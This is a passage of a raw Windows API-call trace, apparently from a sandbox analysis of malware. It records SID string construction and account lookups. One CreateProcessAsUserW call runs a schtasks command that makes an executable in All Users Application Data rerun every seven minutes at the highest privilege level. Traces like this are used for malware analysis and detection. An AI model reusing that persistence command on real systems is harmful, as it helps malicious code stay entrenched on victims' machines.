memcpy (in: _Dst=0x33833e, _Src=0x381178, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0086.519] free (_Block=0xef0a0) [0086.519] free (_Block=0xef040) [0086.519] malloc (_Size=0x18) returned 0xef040 [0086.519] malloc (_Size=0x18) returned 0xef0a0 [0086.519] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0086.519] SysStringLen (param_1="4223814209") returned 0xa [0086.519] memcpy (in: _Dst=0x34d958, _Src=0x338318, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0086.519] memcpy (in: _Dst=0x34d980, _Src=0x381178, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0086.520] free (_Block=0xeef20) [0086.520] free (_Block=0xef040) [0086.520] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0086.520] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0086.520] malloc (_Size=0x18) returned 0xef040 [0086.520] malloc (_Size=0x18) returned 0xeef20 [0086.520] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0086.520] SysStringLen (param_1="-") returned 0x1 [0086.520] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0086.520] memcpy (in: _Dst=0x34dcc4, _Src=0x381178, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0086.520] free (_Block=0xef0a0) [0086.520] free (_Block=0xef040) [0086.520] malloc (_Size=0x18) returned 0xef040 [0086.520] malloc (_Size=0x18) returned 0xef0a0 [0086.520] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0086.520] SysStringLen (param_1="3835049652") returned 0xa [0086.520] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0086.520] memcpy (in: _Dst=0x34d996, _Src=0x381178, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0086.521] free (_Block=0xeef20) [0086.521] free (_Block=0xef040) [0086.521] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0086.521] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0086.521] malloc (_Size=0x18) returned 0xef040 [0086.521] malloc (_Size=0x18) returned 0xeef20 [0086.521] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0086.521] SysStringLen (param_1="-") returned 0x1 [0086.521] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0086.521] memcpy (in: _Dst=0x34dcda, _Src=0x381178, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0086.521] free (_Block=0xef0a0) [0086.521] free (_Block=0xef040) [0086.521] malloc (_Size=0x18) returned 0xef040 [0086.521] malloc (_Size=0x18) returned 0xef0a0 [0086.521] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0086.521] SysStringLen (param_1="1000") returned 0x4 [0086.521] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0086.521] memcpy (in: _Dst=0x34d9ac, _Src=0x381178, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0086.521] free (_Block=0xeef20) [0086.522] free (_Block=0xef040) [0086.522] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0086.522] malloc (_Size=0x5e) returned 0xf0800 [0086.522] free (_Block=0xef0a0) [0086.522] malloc (_Size=0x18) returned 0xef0a0 [0086.523] free (_Block=0xf0800) [0086.523] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0086.524] GetLastError () returned 0x7a [0086.524] malloc (_Size=0x14) returned 0xef040 [0086.524] malloc (_Size=0x16) returned 0xeef20 [0086.524] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebcca4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0086.525] malloc (_Size=0x18) returned 0xef020 [0086.525] malloc (_Size=0x18) returned 0xeef60 [0086.525] free (_Block=0xef040) [0086.525] free (_Block=0xeef20) [0086.525] free (_Block=0xeff00) [0086.525] free (_Block=0xeef60) [0086.525] free (_Block=0xef020) [0086.525] free (_Block=0xef0a0) [0086.526] free (_Block=0xee200) [0086.527] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0086.528] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0086.528] GetLastError () returned 0x7a [0086.528] malloc (_Size=0x2c) returned 0xee240 [0086.528] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0086.528] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0086.528] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0086.528] malloc (_Size=0x1c) returned 0xeff00 [0086.528] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0086.528] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0086.528] malloc (_Size=0x18) returned 0xef0a0 [0086.528] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0086.528] malloc (_Size=0x18) returned 0xef020 [0086.528] malloc (_Size=0x18) returned 0xeef60 [0086.528] SysStringLen (param_1="S-1-") returned 0x4 [0086.528] SysStringLen (param_1="5") returned 0x1 [0086.528] memcpy (in: _Dst=0x3810b8, _Src=0x3811d8, _Size=0xa | out: _Dst=0x3810b8) returned 0x3810b8 [0086.528] memcpy (in: _Dst=0x3810c0, _Src=0x381178, _Size=0x4 | out: _Dst=0x3810c0) returned 0x3810c0 [0086.528] free (_Block=0xef0a0) [0086.528] free (_Block=0xef020) [0086.529] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0086.529] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0086.529] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0086.529] malloc (_Size=0x18) returned 0xef020 [0086.529] malloc (_Size=0x18) returned 0xef0a0 [0086.529] SysStringLen (param_1="S-1-5") returned 0x5 [0086.529] SysStringLen (param_1="-") returned 0x1 [0086.529] memcpy (in: _Dst=0x381178, _Src=0x3810b8, _Size=0xc | out: _Dst=0x381178) returned 0x381178 [0086.529] memcpy (in: _Dst=0x381182, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x381182) returned 0x381182 [0086.529] free (_Block=0xeef60) [0086.529] free (_Block=0xef020) [0086.529] malloc (_Size=0x18) returned 0xef020 [0086.529] malloc (_Size=0x18) returned 0xeef60 [0086.529] SysStringLen (param_1="S-1-5-") returned 0x6 [0086.529] SysStringLen (param_1="21") returned 0x2 [0086.529] memcpy (in: _Dst=0x3811d8, _Src=0x381178, _Size=0xe | out: _Dst=0x3811d8) returned 0x3811d8 [0086.529] memcpy (in: _Dst=0x3811e4, _Src=0x3810b8, _Size=0x6 | out: _Dst=0x3811e4) returned 0x3811e4 [0086.529] free (_Block=0xef0a0) [0086.529] free (_Block=0xef020) [0086.529] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0086.530] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0086.530] malloc (_Size=0x18) returned 0xef020 [0086.530] malloc (_Size=0x18) returned 0xef0a0 [0086.530] SysStringLen (param_1="S-1-5-21") returned 0x8 [0086.530] SysStringLen (param_1="-") returned 0x1 [0086.530] memcpy (in: _Dst=0x3810b8, _Src=0x3811d8, _Size=0x12 | out: _Dst=0x3810b8) returned 0x3810b8 [0086.530] memcpy (in: _Dst=0x3810c8, _Src=0x381178, _Size=0x4 | out: _Dst=0x3810c8) returned 0x3810c8 [0086.530] free (_Block=0xeef60) [0086.530] free (_Block=0xef020) [0086.530] malloc (_Size=0x18) returned 0xef020 [0086.530] malloc (_Size=0x18) returned 0xeef60 [0086.530] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0086.530] SysStringLen (param_1="4219442223") returned 0xa [0086.530] memcpy (in: _Dst=0x337698, _Src=0x3810b8, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0086.530] memcpy (in: _Dst=0x3376aa, _Src=0x3811d8, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0086.530] free (_Block=0xef0a0) [0086.530] free (_Block=0xef020) [0086.530] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0086.530] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0086.530] malloc (_Size=0x18) returned 0xef020 [0086.531] malloc (_Size=0x18) returned 0xef0a0 [0086.531] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0086.531] SysStringLen (param_1="-") returned 0x1 [0086.531] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0086.531] memcpy (in: _Dst=0x33833e, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0086.531] free (_Block=0xeef60) [0086.531] free (_Block=0xef020) [0086.531] malloc (_Size=0x18) returned 0xef020 [0086.531] malloc (_Size=0x18) returned 0xeef60 [0086.531] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0086.531] SysStringLen (param_1="4223814209") returned 0xa [0086.531] memcpy (in: _Dst=0x34dc88, _Src=0x338318, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0086.531] memcpy (in: _Dst=0x34dcb0, _Src=0x3810b8, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0086.531] free (_Block=0xef0a0) [0086.531] free (_Block=0xef020) [0086.531] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0086.531] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0086.531] malloc (_Size=0x18) returned 0xef020 [0086.531] malloc (_Size=0x18) returned 0xef0a0 [0086.531] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0086.531] SysStringLen (param_1="-") returned 0x1 [0086.532] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0086.532] memcpy (in: _Dst=0x34d994, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0086.532] free (_Block=0xeef60) [0086.532] free (_Block=0xef020) [0086.532] malloc (_Size=0x18) returned 0xef020 [0086.532] malloc (_Size=0x18) returned 0xeef60 [0086.532] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0086.532] SysStringLen (param_1="3835049652") returned 0xa [0086.532] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0086.532] memcpy (in: _Dst=0x34dcc6, _Src=0x3810b8, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0086.532] free (_Block=0xef0a0) [0086.532] free (_Block=0xef020) [0086.532] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0086.532] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0086.532] malloc (_Size=0x18) returned 0xef020 [0086.532] malloc (_Size=0x18) returned 0xef0a0 [0086.532] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0086.532] SysStringLen (param_1="-") returned 0x1 [0086.532] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0086.532] memcpy (in: _Dst=0x34d9aa, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0086.533] free (_Block=0xeef60) [0086.533] free (_Block=0xef020) [0086.533] malloc (_Size=0x18) returned 0xef020 [0086.533] malloc (_Size=0x18) returned 0xeef60 [0086.533] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0086.533] SysStringLen (param_1="1000") returned 0x4 [0086.533] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0086.533] memcpy (in: _Dst=0x34dcdc, _Src=0x3810b8, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0086.533] free (_Block=0xef0a0) [0086.533] free (_Block=0xef020) [0086.533] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0086.533] malloc (_Size=0x5e) returned 0xf0800 [0086.533] free (_Block=0xeef60) [0086.533] malloc (_Size=0x18) returned 0xeef60 [0086.534] free (_Block=0xf0800) [0086.534] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0086.535] GetLastError () returned 0x7a [0086.535] malloc (_Size=0x14) returned 0xef020 [0086.535] malloc (_Size=0x16) returned 0xef0a0 [0086.535] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0086.536] malloc (_Size=0x18) returned 0xeef20 [0086.536] malloc (_Size=0x18) returned 0xef040 [0086.536] free (_Block=0xef020) [0086.536] free (_Block=0xef0a0) [0086.536] free (_Block=0xeff00) [0086.536] free (_Block=0xef040) [0086.536] free (_Block=0xeef20) [0086.536] free (_Block=0xeef60) [0086.537] free (_Block=0xee240) [0086.538] malloc (_Size=0x48) returned 0xed2c0 [0086.538] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0086.578] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0086.578] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0086.578] malloc (_Size=0x18) returned 0xeef60 [0086.578] CreateEnvironmentBlock () returned 0x1 [0086.583] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0086.583] malloc (_Size=0x18) returned 0xeef20 [0086.584] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 7 /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 7 /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0x328, dwThreadId=0x704)) returned 1 [0086.588] CloseHandle (hObject=0x2f8) returned 1 [0086.588] CloseHandle (hObject=0x2fc) returned 1 [0086.588] free (_Block=0xeef20) [0086.588] DestroyEnvironmentBlock () returned 0x1 [0086.588] malloc (_Size=0x48) returned 0xed270 [0086.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5c955e00, dwHighDateTime=0x1d9eb0c)) [0086.588] SetEvent (hEvent=0x1f0) returned 1 [0086.589] CloseHandle (hObject=0x244) returned 1 [0086.589] CloseHandle (hObject=0x238) returned 1 [0086.668] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0086.668] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0086.668] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0087.334] SetLastError (dwErrCode=0x0) [0087.334] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0087.334] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0087.334] SetLastError (dwErrCode=0x0) [0087.334] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0087.334] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0087.334] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0087.334] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f010 [0087.334] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f010, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0087.334] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f010 | out: hHeap=0x2e0000) returned 1 [0087.338] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0087.338] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0087.338] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0087.339] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0087.339] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0087.339] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0087.339] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0087.341] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0087.341] GetCurrentThread () returned 0xfffffffffffffffe [0087.341] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2d8) returned 1 [0087.341] malloc (_Size=0xd8) returned 0xf3750 [0087.341] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0087.341] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0087.342] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0087.342] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0087.342] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0087.342] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0087.342] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0087.342] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0087.343] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0087.343] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0087.343] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0087.343] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0087.343] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0087.343] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0087.343] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0087.344] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0087.344] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0087.344] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0087.344] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0087.344] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0087.344] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0087.344] malloc (_Size=0x18) returned 0xeef00 [0087.344] DuplicateTokenEx (in: hExistingToken=0x2d8, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x238) returned 1 [0087.344] malloc (_Size=0x48) returned 0xed400 [0087.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5d07a000, dwHighDateTime=0x1d9eb0c)) [0087.345] SetEvent (hEvent=0x1f0) returned 1 [0087.349] GetTokenInformation (in: TokenHandle=0x2d8, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0087.349] GetLastError () returned 0x7a [0087.349] malloc (_Size=0x2c) returned 0xee200 [0087.349] GetTokenInformation (in: TokenHandle=0x2d8, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0087.349] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0087.349] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0087.349] malloc (_Size=0x1c) returned 0xeff60 [0087.349] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, 